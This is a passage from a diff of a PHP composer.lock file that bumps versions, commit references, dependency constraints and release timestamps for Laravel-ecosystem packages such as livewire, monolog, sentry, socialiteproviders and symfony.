"https://api.github.com/repos/livewire/livewire/zipball/3adc7ff5d0898876f9848ab155310a296c717c1b", + "reference": "3adc7ff5d0898876f9848ab155310a296c717c1b", "shasum": "" }, "require": { @@ -3869,7 +3882,7 @@ "description": "A front-end framework for Laravel.", "support": { "issues": "https://github.com/livewire/livewire/issues", - "source": "https://github.com/livewire/livewire/tree/v3.8.7" + "source": "https://github.com/livewire/livewire/tree/v3.8.10" }, "funding": [ { @@ -3877,7 +3890,7 @@ "type": "github" } ], - "time": "2026-08-31T15:40:46+00:00" + "time": "2026-09-28T18:12:47+00:00" }, { "name": "log1x/laravel-webfonts", @@ -3943,16 +3956,16 @@ }, { "name": "lorisleiva/laravel-actions", - "version": "v2.10.2", + "version": "v2.12.0", "source": { "type": "git", "url": "https://github.com/lorisleiva/laravel-actions.git", - "reference": "40da1bbd3cf115f4e885c197b91777d596c9317a" + "reference": "8d58b11d4fbca08fbcdb87243a4607bb3ae1db8d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/lorisleiva/laravel-actions/zipball/40da1bbd3cf115f4e885c197b91777d596c9317a", - "reference": "40da1bbd3cf115f4e885c197b91777d596c9317a", + "url": "https://api.github.com/repos/lorisleiva/laravel-actions/zipball/8d58b11d4fbca08fbcdb87243a4607bb3ae1db8d", + "reference": "8d58b11d4fbca08fbcdb87243a4607bb3ae1db8d", "shasum": "" }, "require": { @@ -3961,8 +3974,13 @@ "php": "^8.2" }, "require-dev": { + "friendsofphp/php-cs-fixer": "^3.0", + "larastan/larastan": "^3.0", "orchestra/testbench": "^9.0|^10.0|^11.0", "pestphp/pest": "^3.0|^4.0", + "phpstan/extension-installer": "^1.4", + "phpstan/phpstan": "^2.1", + "phpstan/phpstan-phpunit": "^2.0", "phpunit/phpunit": "^11.5|^12.0" }, "type": "library", @@ -3974,6 +3992,11 @@ "providers": [ "Lorisleiva\\Actions\\ActionServiceProvider" ] + }, + "phpstan": { + "includes": [ + "extension.neon" + ] } }, "autoload": { @@ -4007,7 +4030,7 @@ ], "support": { "issues": "https://github.com/lorisleiva/laravel-actions/issues", - "source": "https://github.com/lorisleiva/laravel-actions/tree/v2.10.2" + "source": "https://github.com/lorisleiva/laravel-actions/tree/v2.12.0" }, "funding": [ { @@ -4015,20 +4038,20 @@ "type": "github" } ], - "time": "2026-07-26T11:03:26+00:00" + "time": "2026-08-25T14:17:11+00:00" }, { "name": "lorisleiva/lody", - "version": "v0.7.0", + "version": "v0.7.1", "source": { "type": "git", "url": "https://github.com/lorisleiva/lody.git", - "reference": "82ecb6faa55fb20109e6959f42f0f652cd77674b" + "reference": "018d3d384872d4b28f5194dae5fd05894db7fabe" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/lorisleiva/lody/zipball/82ecb6faa55fb20109e6959f42f0f652cd77674b", - "reference": "82ecb6faa55fb20109e6959f42f0f652cd77674b", + "url": "https://api.github.com/repos/lorisleiva/lody/zipball/018d3d384872d4b28f5194dae5fd05894db7fabe", + "reference": "018d3d384872d4b28f5194dae5fd05894db7fabe", "shasum": "" }, "require": { @@ -4079,7 +4102,7 @@ ], "support": { "issues": "https://github.com/lorisleiva/lody/issues", - "source": "https://github.com/lorisleiva/lody/tree/v0.7.0" + "source": "https://github.com/lorisleiva/lody/tree/v0.7.1" }, "funding": [ { @@ -4087,20 +4110,20 @@ "type": "github" } ], - "time": "2026-03-18T12:49:31+00:00" + "time": "2026-09-01T11:53:49+00:00" }, { "name": "monolog/monolog", - "version": "3.10.0", + "version": "3.12.1", "source": { "type": "git", "url": "https://github.com/Seldaek/monolog.git", - "reference": "b321dd6749f0bf7189444158a3ce785cc16d69b0" + "reference": "d7059e4c691d05ea1222b5124bed0f961be46e15" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/Seldaek/monolog/zipball/b321dd6749f0bf7189444158a3ce785cc16d69b0", - "reference": "b321dd6749f0bf7189444158a3ce785cc16d69b0", + "url": "https://api.github.com/repos/Seldaek/monolog/zipball/d7059e4c691d05ea1222b5124bed0f961be46e15", + "reference": "d7059e4c691d05ea1222b5124bed0f961be46e15", "shasum": "" }, "require": { @@ -4126,6 +4149,7 @@ "phpstan/phpstan-strict-rules": "^2", "phpunit/phpunit": "^10.5.17 || ^11.0.7", "predis/predis": "^1.1 || ^2", + "psr/clock": "^1.0", "rollbar/rollbar": "^4.0", "ruflin/elastica": "^7 || ^8", "symfony/mailer": "^5.4 || ^6", @@ -4144,6 +4168,7 @@ "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)", "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", + "psr/clock": "Required to pass a clock to the Logger and control the timestamp of log records", "rollbar/rollbar": "Allow sending log messages to Rollbar", "ruflin/elastica": "Allow sending log messages to an Elastic Search server" }, @@ -4178,7 +4203,7 @@ ], "support": { "issues": "https://github.com/Seldaek/monolog/issues", - "source": "https://github.com/Seldaek/monolog/tree/3.10.0" + "source": "https://github.com/Seldaek/monolog/tree/3.12.1" }, "funding": [ { @@ -4190,7 +4215,7 @@ "type": "tidelift" } ], - "time": "2026-01-02T08:56:05+00:00" + "time": "2026-09-29T19:21:12+00:00" }, { "name": "mtdowling/jmespath.php", @@ -4260,16 +4285,16 @@ }, { "name": "nesbot/carbon", - "version": "3.13.2", + "version": "3.14.1", "source": { "type": "git", "url": "https://github.com/CarbonPHP/carbon.git", - "reference": "a1c54919f5fff9800cd03c32bd01defd5a4061cb" + "reference": "34e9109535165bf1d7ff17a610492372ae73a896" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/a1c54919f5fff9800cd03c32bd01defd5a4061cb", - "reference": "a1c54919f5fff9800cd03c32bd01defd5a4061cb", + "url": "https://api.github.com/repos/CarbonPHP/carbon/zipball/34e9109535165bf1d7ff17a610492372ae73a896", + "reference": "34e9109535165bf1d7ff17a610492372ae73a896", "shasum": "" }, "require": { @@ -4361,7 +4386,7 @@ "type": "tidelift" } ], - "time": "2026-08-08T11:40:35+00:00" + "time": "2026-09-27T12:07:26+00:00" }, { "name": "nette/schema", @@ -4523,16 +4548,16 @@ }, { "name": "nikic/php-parser", - "version": "v5.8.0", + "version": "v5.9.0", "source": { "type": "git", "url": "https://github.com/nikic/PHP-Parser.git", - "reference": "044a6a392ff8ad0d61f14370a5fbbd0a0107152f" + "reference": "9e33da9553fe7786f0962b35f4e4ecf01be89def" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/044a6a392ff8ad0d61f14370a5fbbd0a0107152f", - "reference": "044a6a392ff8ad0d61f14370a5fbbd0a0107152f", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/9e33da9553fe7786f0962b35f4e4ecf01be89def", + "reference": "9e33da9553fe7786f0962b35f4e4ecf01be89def", "shasum": "" }, "require": { @@ -4574,9 +4599,9 @@ ], "support": { "issues": "https://github.com/nikic/PHP-Parser/issues", - "source": "https://github.com/nikic/PHP-Parser/tree/v5.8.0" + "source": "https://github.com/nikic/PHP-Parser/tree/v5.9.0" }, - "time": "2026-07-04T14:30:18+00:00" + "time": "2026-09-13T18:51:52+00:00" }, { "name": "nubs/random-name-generator", @@ -4917,20 +4942,25 @@ }, { "name": "phpdocumentor/reflection-common", - "version": "2.2.0", + "version": "2.2.1", "source": { "type": "git", "url": "https://github.com/phpDocumentor/ReflectionCommon.git", - "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b" + "reference": "ee15a5a2022c8383906b225055e9496a6a5e6e3b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/1d01c49d4ed62f25aa84a747ad35d5a16924662b", - "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b", + "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/ee15a5a2022c8383906b225055e9496a6a5e6e3b", + "reference": "ee15a5a2022c8383906b225055e9496a6a5e6e3b", "shasum": "" }, "require": { - "php": "^7.2 || ^8.0" + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.8", + "phpunit/phpunit": "^9.5", + "vimeo/psalm": "^4.25" }, "type": "library", "extra": { @@ -4954,7 +4984,7 @@ } ], "description": "Common reflection classes used by phpdocumentor to reflect the code structure", - "homepage": "http://www.phpdoc.org", + "homepage": "https://www.phpdoc.org", "keywords": [ "FQSEN", "phpDocumentor", @@ -4964,9 +4994,9 @@ ], "support": { "issues": "https://github.com/phpDocumentor/ReflectionCommon/issues", - "source": "https://github.com/phpDocumentor/ReflectionCommon/tree/2.x" + "source": "https://github.com/phpDocumentor/ReflectionCommon/tree/2.2.1" }, - "time": "2020-06-27T09:03:43+00:00" + "time": "2025-11-10T21:21:55+00:00" }, { "name": "phpdocumentor/reflection-docblock", @@ -5035,16 +5065,16 @@ }, { "name": "phpdocumentor/type-resolver", - "version": "2.0.0", + "version": "2.1.0", "source": { "type": "git", "url": "https://github.com/phpDocumentor/TypeResolver.git", - "reference": "327a05bbee54120d4786a0dc67aad30226ad4cf9" + "reference": "dbe2133bb23e2e33a6834f4ed417f24a1b167769" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/327a05bbee54120d4786a0dc67aad30226ad4cf9", - "reference": "327a05bbee54120d4786a0dc67aad30226ad4cf9", + "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/dbe2133bb23e2e33a6834f4ed417f24a1b167769", + "reference": "dbe2133bb23e2e33a6834f4ed417f24a1b167769", "shasum": "" }, "require": { @@ -5087,22 +5117,22 @@ "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", "support": { "issues": "https://github.com/phpDocumentor/TypeResolver/issues", - "source": "https://github.com/phpDocumentor/TypeResolver/tree/2.0.0" + "source": "https://github.com/phpDocumentor/TypeResolver/tree/2.1.0" }, - "time": "2026-01-06T21:53:42+00:00" + "time": "2026-09-27T19:32:54+00:00" }, { "name": "phpoption/phpoption", - "version": "1.9.5", + "version": "1.10.0", "source": { "type": "git", "url": "https://github.com/schmittjoh/php-option.git", - "reference": "75365b91986c2405cf5e1e012c5595cd487a98be" + "reference": "67b192b6a42ec03944b972d6e633ddec78ad2c6d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/schmittjoh/php-option/zipball/75365b91986c2405cf5e1e012c5595cd487a98be", - "reference": "75365b91986c2405cf5e1e012c5595cd487a98be", + "url": "https://api.github.com/repos/schmittjoh/php-option/zipball/67b192b6a42ec03944b972d6e633ddec78ad2c6d", + "reference": "67b192b6a42ec03944b972d6e633ddec78ad2c6d", "shasum": "" }, "require": { @@ -5110,7 +5140,7 @@ }, "require-dev": { "bamarni/composer-bin-plugin": "^1.8.2", - "phpunit/phpunit": "^8.5.44 || ^9.6.25 || ^10.5.53 || ^11.5.34" + "phpunit/phpunit": "^8.5.54 || ^9.6.36 || ^10.5.64 || ^11.5.56 || ^12.5.33" }, "type": "library", "extra": { @@ -5152,7 +5182,7 @@ ], "support": { "issues": "https://github.com/schmittjoh/php-option/issues", - "source": "https://github.com/schmittjoh/php-option/tree/1.9.5" + "source": "https://github.com/schmittjoh/php-option/tree/1.10.0" }, "funding": [ { @@ -5164,7 +5194,7 @@ "type": "tidelift" } ], - "time": "2025-12-27T19:41:33+00:00" + "time": "2026-08-24T00:54:40+00:00" }, { "name": "phpseclib/phpseclib", @@ -5278,16 +5308,16 @@ }, { "name": "phpstan/phpdoc-parser", - "version": "2.3.3", + "version": "2.3.6", "source": { "type": "git", "url": "https://github.com/phpstan/phpdoc-parser.git", - "reference": "fb19eedd2bb67ff8cf7a5502ad329e701d6398a3" + "reference": "1427af4647235b4a73b13940b1f1258d3584f36e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpdoc-parser/zipball/fb19eedd2bb67ff8cf7a5502ad329e701d6398a3", - "reference": "fb19eedd2bb67ff8cf7a5502ad329e701d6398a3", + "url": "https://api.github.com/repos/phpstan/phpdoc-parser/zipball/1427af4647235b4a73b13940b1f1258d3584f36e", + "reference": "1427af4647235b4a73b13940b1f1258d3584f36e", "shasum": "" }, "require": { @@ -5319,9 +5349,9 @@ "description": "PHPDoc parser with support for nullable, intersection and generic types", "support": { "issues": "https://github.com/phpstan/phpdoc-parser/issues", - "source": "https://github.com/phpstan/phpdoc-parser/tree/2.3.3" + "source": "https://github.com/phpstan/phpdoc-parser/tree/2.3.6" }, - "time": "2026-07-08T07:01:06+00:00" + "time": "2026-09-27T20:07:45+00:00" }, { "name": "pion/laravel-chunk-upload", @@ -5438,16 +5468,16 @@ }, { "name": "pragmarx/google2fa", - "version": "v9.0.0", + "version": "v9.1.0", "source": { "type": "git", "url": "https://github.com/antonioribeiro/google2fa.git", - "reference": "e6bc62dd6ae83acc475f57912e27466019a1f2cf" + "reference": "f00bc788c555adfb6765c437ff3538e59cd88af1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/antonioribeiro/google2fa/zipball/e6bc62dd6ae83acc475f57912e27466019a1f2cf", - "reference": "e6bc62dd6ae83acc475f57912e27466019a1f2cf", + "url": "https://api.github.com/repos/antonioribeiro/google2fa/zipball/f00bc788c555adfb6765c437ff3538e59cd88af1", + "reference": "f00bc788c555adfb6765c437ff3538e59cd88af1", "shasum": "" }, "require": { @@ -5455,8 +5485,11 @@ "php": "^7.1|^8.0" }, "require-dev": { - "phpstan/phpstan": "^1.9", - "phpunit/phpunit": "^7.5.15|^8.5|^9.0" + "phpstan/phpstan": "^1.0|^2.0", + "phpstan/phpstan-phpunit": "^1.0|^2.0", + "phpunit/phpunit": "~9|~10|~11|~12|~13", + "psalm/plugin-phpunit": "^0.19|^0.20", + "vimeo/psalm": "^5.26|^6.13" }, "type": "library", "autoload": { @@ -5479,14 +5512,23 @@ "keywords": [ "2fa", "Authentication", + "MFA", "Two Factor Authentication", - "google2fa" + "google-authenticator", + "google2fa", + "hotp", + "otp", + "rfc4226", + "rfc6238", + "totp" ], "support": { + "docs": "https://github.com/antonioribeiro/google2fa#readme", "issues": "https://github.com/antonioribeiro/google2fa/issues", - "source": "https://github.com/antonioribeiro/google2fa/tree/v9.0.0" + "security": "https://github.com/antonioribeiro/google2fa/security/policy", + "source": "https://github.com/antonioribeiro/google2fa" }, - "time": "2025-09-19T22:51:08+00:00" + "time": "2026-08-15T13:22:01+00:00" }, { "name": "psr/cache", @@ -6030,16 +6072,16 @@ }, { "name": "purplepixie/phpdns", - "version": "2.3.6", + "version": "2.4.0", "source": { "type": "git", "url": "https://github.com/purplepixie/phpdns.git", - "reference": "59e064513849adb426b416fef0717178a0a68a2d" + "reference": "51c838f6fd46a237d2ffa6fc12ecff6391ebcb20" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/purplepixie/phpdns/zipball/59e064513849adb426b416fef0717178a0a68a2d", - "reference": "59e064513849adb426b416fef0717178a0a68a2d", + "url": "https://api.github.com/repos/purplepixie/phpdns/zipball/51c838f6fd46a237d2ffa6fc12ecff6391ebcb20", + "reference": "51c838f6fd46a237d2ffa6fc12ecff6391ebcb20", "shasum": "" }, "require": { @@ -6072,9 +6114,9 @@ "description": "PHP DNS Direct Query Module", "support": { "issues": "https://github.com/purplepixie/phpdns/issues", - "source": "https://github.com/purplepixie/phpdns/tree/2.3.6" + "source": "https://github.com/purplepixie/phpdns/tree/2.4.0" }, - "time": "2025-11-03T12:17:11+00:00" + "time": "2026-09-06T10:05:57+00:00" }, { "name": "pusher/pusher-php-server", @@ -6261,20 +6303,20 @@ }, { "name": "ramsey/uuid", - "version": "4.9.3", + "version": "4.9.4", "source": { "type": "git", "url": "https://github.com/ramsey/uuid.git", - "reference": "1df15849d00943a67d677dc9cfd80795f038c9f8" + "reference": "75d73f48d02797c2c285a7e9f348fadc0102ffe2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/ramsey/uuid/zipball/1df15849d00943a67d677dc9cfd80795f038c9f8", - "reference": "1df15849d00943a67d677dc9cfd80795f038c9f8", + "url": "https://api.github.com/repos/ramsey/uuid/zipball/75d73f48d02797c2c285a7e9f348fadc0102ffe2", + "reference": "75d73f48d02797c2c285a7e9f348fadc0102ffe2", "shasum": "" }, "require": { - "brick/math": ">=0.8.16 <=0.18", + "brick/math": "^0.8.16 || ^0.9 || ^0.10 || ^0.11 || ^0.12 || ^0.13 || ^0.14 || ^0.15 || ^0.16 || ^0.17 || ^0.18 || ^0.19 || ^0.20 || ^1.0", "php": "^8.0", "ramsey/collection": "^1.2 || ^2.0" }, @@ -6333,9 +6375,9 @@ ], "support": { "issues": "https://github.com/ramsey/uuid/issues", - "source": "https://github.com/ramsey/uuid/tree/4.9.3" + "source": "https://github.com/ramsey/uuid/tree/4.9.4" }, - "time": "2026-06-18T03:57:49+00:00" + "time": "2026-09-16T11:39:30+00:00" }, { "name": "ratchet/rfc6455", @@ -6928,16 +6970,16 @@ }, { "name": "resend/resend-laravel", - "version": "v1.5.0", + "version": "v1.6.0", "source": { "type": "git", "url": "https://github.com/resend/resend-laravel.git", - "reference": "3f67df5b6f61353b09d7f849e6c81df8cdbc079f" + "reference": "56d09b18c8850396a36a7f81e3d98365fe51bc6b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/resend/resend-laravel/zipball/3f67df5b6f61353b09d7f849e6c81df8cdbc079f", - "reference": "3f67df5b6f61353b09d7f849e6c81df8cdbc079f", + "url": "https://api.github.com/repos/resend/resend-laravel/zipball/56d09b18c8850396a36a7f81e3d98365fe51bc6b", + "reference": "56d09b18c8850396a36a7f81e3d98365fe51bc6b", "shasum": "" }, "require": { @@ -6991,9 +7033,9 @@ ], "support": { "issues": "https://github.com/resend/resend-laravel/issues", - "source": "https://github.com/resend/resend-laravel/tree/v1.5.0" + "source": "https://github.com/resend/resend-laravel/tree/v1.6.0" }, - "time": "2026-09-17T20:41:15+00:00" + "time": "2026-09-29T18:05:25+00:00" }, { "name": "resend/resend-php", @@ -7056,16 +7098,16 @@ }, { "name": "sentry/sentry", - "version": "4.30.0", + "version": "4.32.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-php.git", - "reference": "95a26e7c946651cacd69d1ded95a8190f952a3ae" + "reference": "c345642bdc0b678965a35ab61fc6323808eb3d2c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/95a26e7c946651cacd69d1ded95a8190f952a3ae", - "reference": "95a26e7c946651cacd69d1ded95a8190f952a3ae", + "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/c345642bdc0b678965a35ab61fc6323808eb3d2c", + "reference": "c345642bdc0b678965a35ab61fc6323808eb3d2c", "shasum": "" }, "require": { @@ -7136,7 +7178,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-php/issues", - "source": "https://github.com/getsentry/sentry-php/tree/4.30.0" + "source": "https://github.com/getsentry/sentry-php/tree/4.32.0" }, "funding": [ { @@ -7148,27 +7190,27 @@ "type": "custom" } ], - "time": "2026-08-05T14:54:26+00:00" + "time": "2026-09-24T13:32:44+00:00" }, { "name": "sentry/sentry-laravel", - "version": "4.27.0", + "version": "4.28.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-laravel.git", - "reference": "caa0ff39805a2eb8c70c4535a1443d7421c5a5b8" + "reference": "34bf18fbf99b884a9bfbb46957d0178d2d0b988e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/caa0ff39805a2eb8c70c4535a1443d7421c5a5b8", - "reference": "caa0ff39805a2eb8c70c4535a1443d7421c5a5b8", + "url": "https://api.github.com/repos/getsentry/sentry-laravel/zipball/34bf18fbf99b884a9bfbb46957d0178d2d0b988e", + "reference": "34bf18fbf99b884a9bfbb46957d0178d2d0b988e", "shasum": "" }, "require": { "illuminate/support": "^6.0 | ^7.0 | ^8.0 | ^9.0 | ^10.0 | ^11.0 | ^12.0 | ^13.0", "nyholm/psr7": "^1.0", "php": "^7.2 | ^8.0", - "sentry/sentry": "^4.28.0", + "sentry/sentry": "^4.31.0", "symfony/psr-http-message-bridge": "^1.0 | ^2.0 | ^6.0 | ^7.0 | ^8.0" }, "require-dev": { @@ -7228,7 +7270,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-laravel/issues", - "source": "https://github.com/getsentry/sentry-laravel/tree/4.27.0" + "source": "https://github.com/getsentry/sentry-laravel/tree/4.28.0" }, "funding": [ { @@ -7240,7 +7282,7 @@ "type": "custom" } ], - "time": "2026-07-15T14:47:03+00:00" + "time": "2026-09-23T14:29:19+00:00" }, { "name": "socialiteproviders/authentik", @@ -7486,26 +7528,26 @@ }, { "name": "socialiteproviders/manager", - "version": "4.9.2", + "version": "4.10.0", "source": { "type": "git", "url": "https://github.com/SocialiteProviders/Manager.git", - "reference": "35372dc62787e61e91cfec73f45fd5d5ae0f8891" + "reference": "65ad770276875682e246e5435566146bf0baebf2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/SocialiteProviders/Manager/zipball/35372dc62787e61e91cfec73f45fd5d5ae0f8891", - "reference": "35372dc62787e61e91cfec73f45fd5d5ae0f8891", + "url": "https://api.github.com/repos/SocialiteProviders/Manager/zipball/65ad770276875682e246e5435566146bf0baebf2", + "reference": "65ad770276875682e246e5435566146bf0baebf2", "shasum": "" }, "require": { - "illuminate/support": "^11.0 || ^12.0 || ^13.0", - "laravel/socialite": "^5.5", - "php": "^8.2" + "illuminate/support": "^12.0 || ^13.0", + "laravel/socialite": "^5.29", + "php": "^8.3" }, "require-dev": { - "mockery/mockery": "^1.2", - "phpunit/phpunit": "^9.0" + "mockery/mockery": "^1.6", + "phpunit/phpunit": "^12.5" }, "type": "library", "extra": { @@ -7556,24 +7598,23 @@ "issues": "https://github.com/socialiteproviders/manager/issues", "source": "https://github.com/socialiteproviders/manager" }, - "time": "2026-03-18T22:13:24+00:00" + "time": "2026-08-16T00:16:22+00:00" }, { "name": "socialiteproviders/microsoft-azure", - "version": "5.2.0", + "version": "5.2.1", "source": { "type": "git", "url": "https://github.com/SocialiteProviders/Microsoft-Azure.git", - "reference": "453d62c9d7e3b3b76e94c913fb46e68a33347b16" + "reference": "d70ea3c60b09cc113a14350761a0618815bfa11c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/SocialiteProviders/Microsoft-Azure/zipball/453d62c9d7e3b3b76e94c913fb46e68a33347b16", - "reference": "453d62c9d7e3b3b76e94c913fb46e68a33347b16", + "url": "https://api.github.com/repos/SocialiteProviders/Microsoft-Azure/zipball/d70ea3c60b09cc113a14350761a0618815bfa11c", + "reference": "d70ea3c60b09cc113a14350761a0618815bfa11c", "shasum": "" }, "require": { - "ext-json": "*", "php": "^8.0", "socialiteproviders/manager": "^4.4" }, @@ -7607,7 +7648,7 @@ "issues": "https://github.com/socialiteproviders/providers/issues", "source": "https://github.com/socialiteproviders/providers" }, - "time": "2024-03-15T03:02:10+00:00" + "time": "2026-08-23T02:40:58+00:00" }, { "name": "socialiteproviders/zitadel", @@ -7972,16 +8013,16 @@ }, { "name": "spatie/laravel-package-tools", - "version": "1.93.1", + "version": "1.93.3", "source": { "type": "git", "url": "https://github.com/spatie/laravel-package-tools.git", - "reference": "d5552849801f2642aea710557463234b59ef65eb" + "reference": "7aeef26bd8d4909bec744dbf47aee7d1395588c1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/d5552849801f2642aea710557463234b59ef65eb", - "reference": "d5552849801f2642aea710557463234b59ef65eb", + "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/7aeef26bd8d4909bec744dbf47aee7d1395588c1", + "reference": "7aeef26bd8d4909bec744dbf47aee7d1395588c1", "shasum": "" }, "require": { @@ -8021,7 +8062,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-package-tools/issues", - "source": "https://github.com/spatie/laravel-package-tools/tree/1.93.1" + "source": "https://github.com/spatie/laravel-package-tools/tree/1.93.3" }, "funding": [ { @@ -8029,7 +8070,7 @@ "type": "github" } ], - "time": "2026-05-19T14:06:37+00:00" + "time": "2026-09-28T07:16:50+00:00" }, { "name": "spatie/laravel-schemaless-attributes", @@ -8366,22 +8407,23 @@ }, { "name": "spomky-labs/cbor-php", - "version": "3.3.0", + "version": "3.4.2", "source": { "type": "git", "url": "https://github.com/Spomky-Labs/cbor-php.git", - "reference": "013d13da69cf28b1ae501887daceccc850ca1c76" + "reference": "8f5ea00a07ad529d20886505cdbeb2b9ac7bb2d6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/Spomky-Labs/cbor-php/zipball/013d13da69cf28b1ae501887daceccc850ca1c76", - "reference": "013d13da69cf28b1ae501887daceccc850ca1c76", + "url": "https://api.github.com/repos/Spomky-Labs/cbor-php/zipball/8f5ea00a07ad529d20886505cdbeb2b9ac7bb2d6", + "reference": "8f5ea00a07ad529d20886505cdbeb2b9ac7bb2d6", "shasum": "" }, "require": { - "brick/math": "^0.9|^0.10|^0.11|^0.12|^0.13|^0.14|^0.15|^0.16|^0.17|^0.18", + "brick/math": "^0.9|^0.10|^0.11|^0.12|^0.13|^0.14|^0.15|^0.16|^0.17|^0.18|^0.19|^0.20|^1.0", "ext-mbstring": "*", - "php": ">=8.0" + "php": ">=8.0", + "symfony/polyfill-php81": "^1.32" }, "require-dev": { "ext-json": "*", @@ -8390,8 +8432,8 @@ "symfony/var-dumper": "^6.4|^7.1|^8.0" }, "suggest": { - "ext-bcmath": "GMP or BCMath extensions will drastically improve the library performance. BCMath extension needed to handle the Big Float and Decimal Fraction Tags", - "ext-gmp": "GMP or BCMath extensions will drastically improve the library performance" + "ext-bcmath": "Improves the library performance when ext-gmp is missing, and is required to handle the Big Float and Decimal Fraction Tags (4 and 5)", + "ext-gmp": "Strongly recommended when decoding untrusted input: without it, converting the byte string of a Big Number Tag (2 and 3) is quadratic in its length. Also improves the library performance overall" }, "type": "library", "autoload": { @@ -8421,7 +8463,7 @@ ], "support": { "issues": "https://github.com/Spomky-Labs/cbor-php/issues", - "source": "https://github.com/Spomky-Labs/cbor-php/tree/3.3.0" + "source": "https://github.com/Spomky-Labs/cbor-php/tree/3.4.2" }, "funding": [ { @@ -8433,24 +8475,24 @@ "type": "patreon" } ], - "time": "2026-07-15T18:56:27+00:00" + "time": "2026-09-15T06:55:29+00:00" }, { "name": "spomky-labs/pki-framework", - "version": "1.6.0", + "version": "1.6.3", "source": { "type": "git", "url": "https://github.com/Spomky-Labs/pki-framework.git", - "reference": "80778a25426288acd2e3a7cde2def41a3d59cddf" + "reference": "792e909d4e387adffe3c4f404451c7d57a3d2022" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/Spomky-Labs/pki-framework/zipball/80778a25426288acd2e3a7cde2def41a3d59cddf", - "reference": "80778a25426288acd2e3a7cde2def41a3d59cddf", + "url": "https://api.github.com/repos/Spomky-Labs/pki-framework/zipball/792e909d4e387adffe3c4f404451c7d57a3d2022", + "reference": "792e909d4e387adffe3c4f404451c7d57a3d2022", "shasum": "" }, "require": { - "brick/math": "^0.10|^0.11|^0.12|^0.13|^0.14|^0.15|^0.16|^0.17|^0.18|^0.19", + "brick/math": "^0.10|^0.11|^0.12|^0.13|^0.14|^0.15|^0.16|^0.17|^0.18|^0.19|^0.20|^1.0", "ext-mbstring": "*", "php": ">=8.1" }, @@ -8475,7 +8517,8 @@ "suggest": { "ext-bcmath": "For better performance (or GMP)", "ext-gmp": "For better performance (or BCMath)", - "ext-openssl": "For OpenSSL based cyphering" + "ext-openssl": "For OpenSSL based cyphering", + "ext-sodium": "To verify Ed25519 signatures where the OpenSSL extension has no EdDSA" }, "type": "library", "autoload": { @@ -8530,7 +8573,7 @@ ], "support": { "issues": "https://github.com/Spomky-Labs/pki-framework/issues", - "source": "https://github.com/Spomky-Labs/pki-framework/tree/1.6.0" + "source": "https://github.com/Spomky-Labs/pki-framework/tree/1.6.3" }, "funding": [ { @@ -8542,7 +8585,7 @@ "type": "patreon" } ], - "time": "2026-08-06T16:21:11+00:00" + "time": "2026-09-12T19:02:49+00:00" }, { "name": "stevebauman/purify", @@ -8748,16 +8791,16 @@ }, { "name": "symfony/console", - "version": "v7.4.16", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "f4c69c9aed03abf933b294257d618bdd9b30a06d" + "reference": "d7bca2fe05241dc7732d0c8b6d551b879f5d0a7d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/f4c69c9aed03abf933b294257d618bdd9b30a06d", - "reference": "f4c69c9aed03abf933b294257d618bdd9b30a06d", + "url": "https://api.github.com/repos/symfony/console/zipball/d7bca2fe05241dc7732d0c8b6d551b879f5d0a7d", + "reference": "d7bca2fe05241dc7732d0c8b6d551b879f5d0a7d", "shasum": "" }, "require": { @@ -8822,7 +8865,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v7.4.16" + "source": "https://github.com/symfony/console/tree/v7.4.20" }, "funding": [ { @@ -8842,20 +8885,20 @@ "type": "tidelift" } ], - "time": "2026-07-31T12:37:14+00:00" + "time": "2026-09-18T15:55:00+00:00" }, { "name": "symfony/css-selector", - "version": "v8.1.0", + "version": "v8.1.6", "source": { "type": "git", "url": "https://github.com/symfony/css-selector.git", - "reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd" + "reference": "08e2905152a39cf3fd1745d83f8c483e258887d9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/css-selector/zipball/dc0e2be45c9b5588c82414f02ac574b4b986abcd", - "reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd", + "url": 